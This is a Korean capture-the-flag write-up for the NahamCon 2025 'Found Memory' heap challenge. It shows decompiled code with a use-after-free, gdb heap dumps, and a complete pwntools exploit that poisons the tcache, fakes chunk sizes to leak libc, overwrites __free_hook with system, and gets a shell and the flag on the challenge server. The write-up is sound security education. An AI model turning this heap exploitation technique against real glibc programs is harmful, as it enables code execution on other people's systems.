콘텐츠로 건너뛰기

[NahamCon 2025 CTF] Found Memory (fill tcache and unsorted bin, free_hook, fix double free or corruption (!prev))

checksec

checksec ./found_memory 
[*] '/home/ubuntu/study/naham2025/found_memory/found_memory'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

libc.so.6 버전

Ubuntu GLIBC 2.31-0ubuntu9.17

./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.17) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Decompiled-src / Analysis

main

아래 코드를 보다시피 총 4가지 메뉴가 존재한다.
청크를 할당하거나, 할당해제하거나, 보거나 편집할 수 있다.

ssize_t menu()
{
  write(1, "\nMenu:\n", 7u);
  write(1, "1) Alloc\n", 9u);
  write(1, "2) Free\n", 8u);
  write(1, "3) View\n", 8u);
  write(1, "4) Edit\n", 8u);
  write(1, "5) Exit\n", 8u);
  return write(1, "> ", 2u);
}

// local variable allocation has failed, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // rax
  char v5[40]; // [rsp+0h] [rbp-48h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-20h]

  v6 = __readfsqword(0x28u);
  v3 = &allocs;
  do
  {
    *v3 = 0;
    v3 += 2;
    *(v3 - 1) = 0;
  }
  while ( v3 != (_QWORD *)((char *)&allocs + 1600) );
  while ( 1 )
  {
    menu(*(_QWORD *)&argc, argv);
    if ( read(0, v5, 0x20u) <= 0 )
      break;
    argv = 0;
    *(_QWORD *)&argc = v5;
    switch ( (unsigned int)strtoul(v5, 0, 10) )
    {
      case 1u:
        alloc_chunk();
        break;
      case 2u:
        free_chunk();
        break;
      case 3u:
        view_chunk();
        break;
      case 4u:
        edit_chunk();
        break;
      case 5u:
        _exit(0);
      default:
        argv = (const char **)"Invalid choice.\n";
        *(_QWORD *)&argc = 1;
        write(1, "Invalid choice.\n", 0x10u);
        break;
    }
  }
  return 0;
}

alloc_chunk

청크를 저장할 수 있는 슬롯은 100개까지이며,
malloc 크기는 0x30으로 고정된다.

allocs 전역변수가 존재하는데, 청크 슬롯이 하나 지정될때
(char *)&allocs + v3에 할당주소,
(char *)&allocs + v3 + 8)에 malloc 크기인 0x30이 저장된다.

unsigned __int64 alloc_chunk()
{
  int v0; // ebx
  _QWORD *i; // rax
  void *v2; // rax
  __int64 v3; // rcx
  char buf[4]; // [rsp+4h] [rbp-24h] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-20h]

  v0 = 0;
  v6 = __readfsqword(0x28u);
  for ( i = &unk_4048; *i; i += 2 )
  {
    if ( ++v0 == 100 )
    {
      write(1, "No free slots.\n", 0x10u);
      return __readfsqword(0x28u) ^ v6;
    }
  }
  v2 = malloc(0x30u);
  v3 = 16LL * v0;
  *(_QWORD *)((char *)&allocs + v3) = v2;
  if ( v2 )
  {
    *(_QWORD *)((char *)&allocs + v3 + 8) = 0x30;
    write(1, "Allocated slot ", 0x10u);
    __snprintf_chk(buf, 4, 1, 4, "%d", v0);
    write(1, buf, strlen(buf));
  }
  else
  {
    write(1, "Alloc failed.\n", 0xEu);
  }
  return __readfsqword(0x28u) ^ v6;
}

free_chunk

인덱스를 입력받으면, 해당 슬롯의 할당된 메모리를 해제한다.
allocs 전역변수에 할당주소를 free시키지만 주소는 그대로 남아있으며,
저장되었던 malloc 크기는 0으로 지정된다.

ssize_t free_chunk()
{
  int index; // eax
  char *v1; // rbx

  write(1, "Index to free: ", 0xFu);
  index = get_index();
  if ( index >= 0 && (v1 = (char *)&allocs + 16 * index, *(_QWORD *)v1) )
  {
    free(*(void **)v1);
    *((_QWORD *)v1 + 1) = 0;
  }
  else
  {
    write(1, "Invalid slot.\n", 0xEu);
  }
  return write(1, "Freed.\n", 7u);
}

view_chunk

free 유무 상관없이 인덱스를 입력받으면,
해당 청크에 저장된 데이터를 보여준다.

ssize_t view_chunk()
{
  int index; // eax
  const void *v1; // rsi

  write(1, "Index to view: ", 0xFu);
  index = get_index();
  if ( index < 0 )
    return write(1, "Invalid slot.\n", 0xEu);
  v1 = (const void *)*((_QWORD *)&allocs + 2 * index);
  if ( !v1 )
    return write(1, "Invalid slot.\n", 0xEu);
  write(1, v1, 0x30u);
  return write(1, "\n", 1u);
}

edit_chunk

마찬가지로 free 유무 상관없이 인덱스를 입력받으면,
해당 청크의 데이터를 수정할 수 있다.

ssize_t edit_chunk()
{
  int index; // eax
  void **v1; // rbx

  write(1, "Index to edit: ", 0xFu);
  index = get_index();
  if ( index < 0 )
    return write(1, "Invalid slot.\n", 0xEu);
  v1 = (void **)((char *)&allocs + 16 * index);
  if ( !*v1 )
    return write(1, "Invalid slot.\n", 0xEu);
  write(1, "Enter data: ", 0xCu);
  return read(0, *v1, 0x2Fu);
}

Solution

malloc 크기는 0x30으로 고정되있지만, 청크의 fd값을 수정시켜서 할당크기를 0x100으로 속이면 된다.

tcache를 가득채우서 unsorted bin으로 할당 해제하게끔 만들어 libc base 주소를 획득하고,
다시한번 fake chunk를 구성해서 free_hook 포인터 주소로 할당받게 만들어 system 주소로 AAW해서
sh 문자열이 담긴 슬롯을 free해주면 될 것이다.

하나씩 한번 살펴보자.

1. alloc() 3번 호출하고 전부다시 free.

0x30크기로 malloc된 청크가 free되어 tcache에 들어간 것 확인.

# index 0, 1, 2
for i in range(3):
    alloc()
for i in range(3, -1, -1):
    free(i)
  • Result
gdb-peda$ x/8gx &allocs
0x555555558040 <allocs>:	0x00005555555592a0	0x0000000000000000
0x555555558050 <allocs+16>:	0x00005555555592e0	0x0000000000000000
0x555555558060 <allocs+32>:	0x0000555555559320	0x0000000000000000
0x555555558070 <allocs+48>:	0x0000000000000000	0x0000000000000000

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559350 (size : 0x20cb0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x40)   tcache_entry[2](3): 0x5555555592a0 --> 0x5555555592e0 --> 0x555555559320
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x40                 Freed     0x5555555592e0              None
0x5555555592d0      0x0                 0x40                 Freed     0x555555559320              None
0x555555559310      0x0                 0x40                 Freed                0x0              None

gdb-peda$ 

2. free된 인덱스1의 fd값 누출후 -0x10만큼 fd값 수정.

인덱스1에 있는 fd값을 수정하는데, 이는 청크 크기를 추후 0x100으로 속이기 위해서다.

다시 3번째로 할당받을때에 2번째 청크의 mchunk_size 필드를 수정할 수 있게
2번째 할당주소-0x10으로 할당받게 만든다.

#Edit index 1
leak = view(0)
leak_fd = leak.split(b"\x00")[0]
leak_fd = uu64(leak_fd)
info(f"leak_fd: {hex(leak_fd)}")
edit(1, p64(leak_fd - 0x10)) #index1's alloc addr - 0x10
  • Result
gdb-peda$ x/8gx &allocs
0x555555558040 <allocs>:	0x00005555555592a0	0x0000000000000000
0x555555558050 <allocs+16>:	0x00005555555592e0	0x0000000000000000
0x555555558060 <allocs+32>:	0x0000555555559320	0x0000000000000000
0x555555558070 <allocs+48>:	0x0000000000000000	0x0000000000000000
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559350 (size : 0x20cb0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x40)   tcache_entry[2](3): 0x5555555592a0 --> 0x5555555592e0 --> 0x5555555592d0 (overlap chunk with 0x555555559290(freed) )
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk                
0x555555559000      0x0                 0x290                Used                None              None
0x555555559290      0x0                 0x40                 Freed     0x5555555592e0              None
0x5555555592d0      0x0                 0x40                 Freed     0x5555555592d0              None
0x555555559310      0x0                 0x40                 Used                None              None

gdb-peda$ x/8gx 0x5555555592d0
0x5555555592d0:	0x0000000000000000	0x0000000000000041
0x5555555592e0:	0x00005555555592d0	0x0000555555559010
0x5555555592f0:	0x0000000000000000	0x0000000000000000
0x555555559300:	0x0000000000000000	0x0000000000000000

3. 3번째 alloc 주소 확인

이제 3번째로 할당된 주소를 살펴보면, 2번째 할당주소 – 0x10을 가리킨다.
인덱스3 청크를 통해 2번째 청크의 mchunk_size 필드를 0x101로 수정해주고, 인덱스1 청크를 free시켜주자.

# index 0
alloc()
# index 1
alloc()
# index 2
alloc()
edit(2, p64(0) + p64(0x101))
free(1)
  • Result
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559350 (size : 0x20cb0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
gdb-peda$ x/8gx &allocs
0x555555558040 <allocs>:	0x00005555555592a0	0x0000000000000030
0x555555558050 <allocs+16>:	0x00005555555592e0	0x0000000000000030
0x555555558060 <allocs+32>:	0x00005555555592d0	0x0000000000000030
0x555555558070 <allocs+48>:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/8gx 0x00005555555592d0
0x5555555592d0:	0x0000000000000000	0x0000000000000000
0x5555555592e0:	0x00005555555592d0	0x0000000000000000
0x5555555592f0:	0x0000000000000000	0x0000000000000000
0x555555559300:	0x0000000000000000	0x0000000000000000
gdb-peda$

4. tcache 0x100 확인

edit(2, p64(0) + p64(0x101))
free(1)

인덱스3 청크를 통해 2번째 청크의 mchunk_size 필드를 0x101로 수정해주고,
인덱스1 청크를 free시켰을때 결과는 아래와 같다.

0x100 청크를 관리하는 tcache에 하나 들어간 셈이다!

  • Result
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559350 (size : 0x20cb0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x100)   tcache_entry[14](1): 0x5555555592e0

5. 위에서 했던 1~4번 과정을 7번 반복하기

여기까지 했을때, tcache 0x100 리스트가 7개 가득찬것을 확인할 수 있다.

하지만 여기서 1번 더하면,
해제하려는 heap 뒤에 위치하는 heap의 size에 PREV_INUSE 플래그가 설정되어 있는지 확인하기 때문에
double free or corruption (!prev) 에러가 발생한다.

해제하려는 heap 뒤에 위치하는 heap은,
해제하려는 heap의 mchunk_size 값을 통해 뒤에 위치하는 힙 위치를 계산해주면 된다.

# Fill tcache / unsorted bin 0x100
for i in range(7):
    idx_start = i*3
    # index idx_start, idx_start+1, idx_start+2
    for j in range(3):
        alloc()
    for j in range(idx_start+3, idx_start-1, -1):
        free(j)

    #Edit index idx_start+1
    leak = view(idx_start)
    leak_fd = leak.split(b"\x00")[0]
    leak_fd = uu64(leak_fd)
    info(f"leak_fd: {hex(leak_fd)}")
    edit(idx_start+1, p64(leak_fd - 0x10)) #index+1's alloc addr - 0x10

    # index idx_start
    alloc()
    # index idx_start+1
    alloc()
    # index idx_start+2
    alloc()
    edit(idx_start+2, p64(0) + p64(0x101))
    free(idx_start+1)
    alloc()
  • Result
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559990 (size : 0x20670) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x100)   tcache_entry[14](7): 0x5555555598e0 --> 0x5555555597e0 --> 0x5555555596e0 --> 0x5555555595e0 --> 0x5555555594e0 --> 0x5555555593e0 --> 0x5555555592e0

6. double free or corruption (!prev) 수동으로 에러 고쳐보기

1번 더하는 과정 중에서 free 하는 부분 중간에 ip() 를 넣어 멈추고,
수동으로 에러를 고치기 위해 gdb로 attach 해본다.

idx_start = 7*3
# index idx_start, idx_start+1, idx_start+2
for j in range(3):
    alloc()
for j in range(idx_start+3, idx_start-1, -1):
    free(j)
# Edit index idx_start+1
leak = view(idx_start)
leak_fd = leak.split(b"\x00")[0]
leak_fd = uu64(leak_fd)
info(f"leak_fd: {hex(leak_fd)}")
edit(idx_start+1, p64(leak_fd - 0x10)) #index1's alloc addr - 0x10
# index idx_start
alloc()
# index idx_start+1
alloc()
# index idx_start+2
alloc()
edit(idx_start+2, p64(0) + p64(0x101))
ip()





free(idx_start+1) # double free or corruption (!prev)

해제하려는 heap 뒤에 위치하는 heap의 size에 PREV_INUSE 플래그가 설정해주기 위해
x555555559ad0+0x100+8위치의 mchunk_size를 0x101으로 속인다.

gdb-peda$ x/64gx &allocs
0x555555558040 <allocs>:	0x00005555555592a0	0x0000000000000030
0x555555558050 <allocs+16>:	0x0000555555559360	0x0000000000000030
0x555555558060 <allocs+32>:	0x00005555555592d0	0x0000000000000030
0x555555558070 <allocs+48>:	0x00005555555593a0	0x0000000000000030
0x555555558080 <allocs+64>:	0x0000555555559460	0x0000000000000030
0x555555558090 <allocs+80>:	0x00005555555593d0	0x0000000000000030
0x5555555580a0 <allocs+96>:	0x00005555555594a0	0x0000000000000030
0x5555555580b0 <allocs+112>:	0x0000555555559560	0x0000000000000030
0x5555555580c0 <allocs+128>:	0x00005555555594d0	0x0000000000000030
0x5555555580d0 <allocs+144>:	0x00005555555595a0	0x0000000000000030
0x5555555580e0 <allocs+160>:	0x0000555555559660	0x0000000000000030
0x5555555580f0 <allocs+176>:	0x00005555555595d0	0x0000000000000030
0x555555558100 <allocs+192>:	0x00005555555596a0	0x0000000000000030
0x555555558110 <allocs+208>:	0x0000555555559760	0x0000000000000030
0x555555558120 <allocs+224>:	0x00005555555596d0	0x0000000000000030
0x555555558130 <allocs+240>:	0x00005555555597a0	0x0000000000000030
0x555555558140 <allocs+256>:	0x0000555555559860	0x0000000000000030
0x555555558150 <allocs+272>:	0x00005555555597d0	0x0000000000000030
0x555555558160 <allocs+288>:	0x00005555555598a0	0x0000000000000030
0x555555558170 <allocs+304>:	0x0000555555559960	0x0000000000000030
0x555555558180 <allocs+320>:	0x00005555555598d0	0x0000000000000030
0x555555558190 <allocs+336>:	0x00005555555599a0	0x0000000000000030
0x5555555581a0 <allocs+352>:	0x00005555555599e0	0x0000000000000030
0x5555555581b0 <allocs+368>:	0x00005555555599d0	0x0000000000000030
0x5555555581c0 <allocs+384>:	0x0000000000000000	0x0000000000000000
0x5555555581d0 <allocs+400>:	0x0000000000000000	0x0000000000000000
0x5555555581e0 <allocs+416>:	0x0000000000000000	0x0000000000000000
0x5555555581f0 <allocs+432>:	0x0000000000000000	0x0000000000000000
0x555555558200 <allocs+448>:	0x0000000000000000	0x0000000000000000
0x555555558210 <allocs+464>:	0x0000000000000000	0x0000000000000000
0x555555558220 <allocs+480>:	0x0000000000000000	0x0000000000000000
0x555555558230 <allocs+496>:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/4gx 0x555555559ad0
0x555555559ad0:	0x0000000000000000	0x0000000000000000
0x555555559ae0:	0x0000000000000000	0x0000000000000000
gdb-peda$ set *(uint64_t*)0x555555559ad8 = 0x101

7. corrupted size vs. prev_size 에러 수동으로 고쳐보기

고치고 계속 실행시키면 corrupted size vs. prev_size 에러가 발생한다.

해제하려는 heap 뒤에 위치하는 heap chunk의 사이즈와
그 뒤의 뒤를 이은 chunk의 prev_size가 같은지 확인하기에
아래와 같이 한번더 0x101로 속인다.

그러면 성공적으로 unsorted bin 0x100에 하나 들어간 것을 확인할 수 있다.

gdb-peda$ x/4gx 0x555555559ad0
0x555555559ad0:	0x0000000000000000	0x0000000000000101
0x555555559ae0:	0x0000000000000000	0x0000000000000000
gdb-peda$ p/x 0x555555559ad0+0x100
$1 = 0x555555559bd0
gdb-peda$ set *(uint64_t*)0x555555559bd8 = 0x101
gdb-peda$ x/4gx 0x555555559ad0+0x100
0x555555559bd0:	0x0000000000000000	0x0000000000000101
0x555555559be0:	0x0000000000000000	0x0000000000000000
gdb-peda$ c

(python3 코드 계속 실행)

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559a50 (size : 0x205b0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x5555555599d0 (size : 0x100)
(0x100)   tcache_entry[14](7): 0x5555555598e0 --> 0x5555555597e0 --> 0x5555555596e0 --> 0x5555555595e0 --> 0x5555555594e0 --> 0x5555555593e0 --> 0x5555555592e0

8. 6, 7단계에 발생한 에러 한번에 고치기

사실 malloc()을 3번만 더 진행시켜주어도 해결됐다.

free시키려는 청크를 살펴보면,
보다시피 0x5555555599d0+0x100+8 지점에 0x41인 prev_in_use 비트와 함께 청크 크기가 쓰여져있고,
그 뒤의 뒤를 이은 0x204f1이라는 top_chunk 값이 쓰여져 있었다.

# FIX double free or corruption (!prev)
alloc()
alloc()
alloc()
ip()
free(idx_start+1)
  • ip() 직전 결과
gdb-peda$ x/16gx 0x00005555555599d0
0x5555555599d0:	0x0000000000000000	0x0000000000000101
0x5555555599e0:	0x00005555555599d0	0x0000000000000000
0x5555555599f0:	0x0000000000000000	0x0000000000000000
0x555555559a00:	0x0000000000000000	0x0000000000000000
0x555555559a10:	0x0000000000000000	0x0000000000000041
0x555555559a20:	0x0000000000000000	0x0000555555559010
0x555555559a30:	0x0000000000000000	0x0000000000000000
0x555555559a40:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/16gx 0x5555555599d0+0x100
0x555555559ad0:	0x0000000000000000	0x0000000000000041
0x555555559ae0:	0x0000000000000000	0x0000000000000000
0x555555559af0:	0x0000000000000000	0x0000000000000000
0x555555559b00:	0x0000000000000000	0x0000000000000000
0x555555559b10:	0x0000000000000000	0x00000000000204f1
  • ip() 직후 결과
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x555555559b10 (size : 0x204f0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x5555555599d0 (size : 0x100)
(0x100)   tcache_entry[14](7): 0x5555555598e0 --> 0x5555555597e0 --> 0x5555555596e0 --> 0x5555555595e0 --> 0x5555555594e0 --> 0x5555555593e0 --> 0x5555555592e0

8. AAW (free_hook ← system)

이후부터는 쉽다.

unsorted bin에 저장된 fd 값을 통해 libc 베이스 주소를 구한다.

다시 여러번 할당시키고, 중간에 sh 문자열이 저장되도록 수정하고, 할당해제킨다음,
fd 값을 수정하여 다음번에 할당받을 주소를 free_hook 포인터 주소로 할당받아 system 함수 주소로 AAW한다.

이후 sh 값이 저장된 청크를 해제시키면 쉘을 획득할 수 있다.

# Leak fd from unsorted bin
leak = view(23)
leak = leak[16:16+8]
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - 0x1ecbe0
info(f"libc_base: {hex(l.address)}")

# idx 22 
alloc()

# idx 27, 28, 29
for k in range(3):
    alloc()
for k in range(29, 26, -1):
    free(k)

# AAW
free_hook = l.sym.__free_hook
info("free_hook: " + hex(free_hook))
system = l.sym.system
info("system: " + hex(system))
edit(27, p64(free_hook))
alloc()
edit(27, b"sh\x00")
alloc()
edit(28, p64(system))
free(27)

solve.py

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

# p = process("./found_memory")
p = remote("challenge.nahamcon.com", 30409)
e = ELF('./found_memory',checksec=False)
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('./libc.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

def alloc():
    sla("> ", "1")

def free(idx):
    sla("> ", "2")
    sla("Index to free: ", str(idx))

def view(idx):
    sla("> ", "3")
    sla("Index to view: ", str(idx))
    return rl()

def edit(idx, data):
    sla("> ", "4")
    sla("Index to edit: ", str(idx))
    sa(b"Enter data: ", data)

# 1. LEAK HeapBase
alloc()
free(0)

leak = view(0)
info(f"{leak}")
leak_fd = leak.split(b"\x00"*8)[1]
leak_fd = uu64(leak_fd)
info(f"leak_fd: {hex(leak_fd)}")
heap_base = (leak_fd & ~0xfF)
info(f"heap_base: {hex(heap_base)}")

# Fill tcache / unsorted bin 0x100
for i in range(7):
    idx_start = i*3
    # index idx_start, idx_start+1, idx_start+2
    for j in range(3):
        alloc()
    for j in range(idx_start+3, idx_start-1, -1):
        free(j)

    #Edit index idx_start+1
    leak = view(idx_start)
    leak_fd = leak.split(b"\x00")[0]
    leak_fd = uu64(leak_fd)
    info(f"leak_fd: {hex(leak_fd)}")
    edit(idx_start+1, p64(leak_fd - 0x10)) #index+1's alloc addr - 0x10

    # index idx_start
    alloc()
    # index idx_start+1
    alloc()
    # index idx_start+2
    alloc()
    edit(idx_start+2, p64(0) + p64(0x101))
    free(idx_start+1)
    alloc()

idx_start = 7*3
# index idx_start, idx_start+1, idx_start+2
for j in range(3):
    alloc()
for j in range(idx_start+3, idx_start-1, -1):
    free(j)
# Edit index idx_start+1
leak = view(idx_start)
leak_fd = leak.split(b"\x00")[0]
leak_fd = uu64(leak_fd)
info(f"leak_fd: {hex(leak_fd)}")
edit(idx_start+1, p64(leak_fd - 0x10)) #index1's alloc addr - 0x10
# index idx_start
alloc()
# index idx_start+1
alloc()
# index idx_start+2
alloc()
edit(idx_start+2, p64(0) + p64(0x101))

# FIX double free or corruption (!prev)
alloc()
alloc()
alloc()
free(idx_start+1)

# Leak fd from unsorted bin
leak = view(23)
leak = leak[16:16+8]
leak = uu64(leak)
info(f"leak: {hex(leak)}")
l.address = leak - 0x1ecbe0
info(f"libc_base: {hex(l.address)}")

# idx 22 
alloc()

# idx 27, 28, 29
for k in range(3):
    alloc()
for k in range(29, 26, -1):
    free(k)

# AAW
free_hook = l.sym.__free_hook
info("free_hook: " + hex(free_hook))
system = l.sym.system
info("system: " + hex(system))
edit(27, p64(free_hook))
alloc()
edit(27, b"sh\x00")
alloc()
edit(28, p64(system))
free(27)

pi()

Result

ubuntu@a4852d66fed7:~/study/naham2025/found_memory$ python3 rsolve2.py
[+] Opening connection to challenge.nahamcon.com on port 30409: Done
[*] b'\x00\x00\x00\x00\x00\x00\x00\x00\x100\xf0\xa5\xa3W\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n'
[*] leak_fd: 0x57a3a5f03010
[*] heap_base: 0x57a3a5f03000
[*] leak_fd: 0x57a3a5f032e0
[*] leak_fd: 0x57a3a5f033e0
[*] leak_fd: 0x57a3a5f034e0
[*] leak_fd: 0x57a3a5f035e0
[*] leak_fd: 0x57a3a5f036e0
[*] leak_fd: 0x57a3a5f037e0
[*] leak_fd: 0x57a3a5f038e0
[*] leak_fd: 0x57a3a5f039e0
[*] leak: 0x7ad126314be0
[*] libc_base: 0x7ad126128000
[*] free_hook: 0x7ad126316e48
[*] system: 0x7ad12617a290
[*] Switching to interactive mode
$ ls
flag.txt
found_memory
$ cat flag.txt
flag{04b12c28513188fbf6513f8d080b9ee1}
$ 
[*] Interrupted
[*] Closed connection to challenge.nahamcon.com port 30409